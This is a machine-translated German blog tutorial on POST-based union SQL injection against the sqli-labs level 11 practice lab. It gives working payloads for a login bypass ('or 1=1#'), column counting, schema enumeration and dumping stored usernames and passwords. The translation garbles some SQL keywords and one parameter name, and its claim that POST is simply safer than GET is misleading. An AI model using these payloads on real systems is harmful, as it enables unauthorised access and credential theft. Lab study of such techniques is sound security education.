MySQL-Injektion – POST-Union-String-Injektion

#POST-Einreichung und GET-Einreichung

1. get kann zwischengespeichert werden, post nicht

2. Die von get übermittelten Parameter werden im Verlauf des Browsers gespeichert, die per Post übermittelten Parameter nicht

3. Get-Einreichungen können mit einem Lesezeichen versehen werden, Post-Einreichungen jedoch nicht

4. Es gibt eine Längenbegrenzung für Get-Übermittlungen von bis zu 2048 Zeichen. Für die Postübermittlung gibt es keine Längenvorgabe, statt nur ASCII-Zeichen zu verwenden, können auch Binärdaten verwendet werden

Zusammenfassung: Die POST-Übermittlung ist sicherer als die GET-Übermittlung

Der Unterschied zwischen #Post-Einreichung und Get-Einreichung im Datenpaket 

POST einreichen

 

Öffnen wir zunächst Ebene 11, geben beiläufig Benutzer und Passwort ein und übermitteln die Daten

Und bp-Capture einschalten

 1. sind unsere aktuell übermittelten Daten

Die von POST übermittelten Daten werden im folgenden Teil als Parameter übergeben, während die von GET übermittelten Daten als Parameter an Position 2, also der obersten Position, übergeben werden

#POST-Injektionsprinzip

1. Ob es einen Injektionspunkt gibt (unter Verwendung eines Hauptschlüssels)

(1) Das Ergebnisdatenpaket wird zusammen mit dem Quellcode analysiert

 

 Verwenden Sie POST, um Schlüsselwerte für Benutzername und Passwort zu akzeptieren

 Bringen Sie dann den akzeptierten Schlüsselwert zur Abfrage in die Datenbank

(2) Verwenden Sie den Hauptschlüssel admin' oder 1=1 #, um zu beurteilen

 Masterpasswort verwenden

admin' oder 1=1# für Bypass-Test

ursprünglicher Satz

"WÄHLEN Sie Benutzername, Passwort VON Benutzern AUS, WO Benutzername='$uname' und Passwort='$passwd' LIMIT 0,1";

Die Aussage nach Verwendung des Master-Passworts

"WÄHLEN Sie Benutzername, Passwort VON Benutzern AUS, WO Benutzername='admin' oder 1=1#' und Passwort='$passwd' LIMIT 0,1";

Zunächst verwenden wir ', um den folgenden Inhalt mit # zu schließen und auszukommentieren, und verwenden in der Mitte oder 1=1.

Dann, wenn die Datenbank urteilt, wird die Aussage

Admin oder 1=1

Dann wissen wir nicht, ob admin existiert, aber oder 1 = 1 ist festgelegt, und verwenden dann die #-Taste, um das Passwort dahinter auszukommentieren.

Weil er die isset-Funktion verwendet hat, um zu beurteilen, ob das Passwort leer ist, weil unsere Aussage den Teil des Passworts dahinter auskommentiert hat, also solange es nicht leer sein darf

 Die Seite zeigt, dass die Anmeldung erfolgreich war, sodass beurteilt werden kann, dass es einen Injektionspunkt für den Benutzernamen gibt. Sie können die Post verwenden, um die Injektion zu übermitteln, und den „or“-Befehl verwenden, um die Passwortüberprüfung zu umgehen.

#Case-Demo

sqli-labs-----Stufe 11

1. Stellen Sie fest, ob ein Injektionspunkt vorhanden ist

Masterpasswort verwenden

Die Seite meldet normalerweise, dass die Anmeldung erfolgreich war

2. Holen Sie sich die Anzahl der Felder

uname=admin' Gruppe um 2 #&passwd=admin&submit=Senden

 

 Daten übermitteln -> BP-Erfassung aktivieren

Datenpaket ändern -> Paket freigeben

 

Seitenfehler

 

 

Die Seite wird normal angezeigt und es gibt insgesamt nur 2 Felder

3. Bestimmen Sie die Anzahl der Anzeigefelder

uname=' union select 1,2 # &passwd=admin&submit=Senden

Beachten Sie hier, da dies ein Zeichentyp ist, müssen wir nach dem uname einen Wert eingeben, der nicht vorhanden ist, damit die Seite nicht angezeigt wird. Verwenden Sie am besten ein Leerzeichen

 

 

 Stellen Sie sicher, dass das Seitenanzeigefeld 1, 2 ist

4. Holen Sie sich die aktuelle Datenbank

uname=' union select (database()),2 #&passwd=admin&submit=Senden

 

 

 

Nach dem Seitenecho wird festgestellt, dass der Datenbankname sicher ist

 

5. Rufen Sie die Datentabelle ab

uname= 'union select (select group_concat(table_name)from information_Schema.tables where table_schema="security"),2 #&passwd=admin&submit=Senden

Das Datenblatt ist oben

6. Felder abrufen

uname= 'union select (select group_concat(column_name)from information_Schema.columns where table_schema="security" and table_name='users'),2 #&passwd=admin&submit=Senden

 

 Oben sind alle Datenblätter

7. Bibliothek ziehen

name= ' union select (select group_concat(username,'--',password)from security.users),2 #&passwd=admin&submit=Senden

 

 

Ich denke du magst

Origin blog.csdn.net/m0_72755466/article/details/129908771
Empfohlen
Rangfolge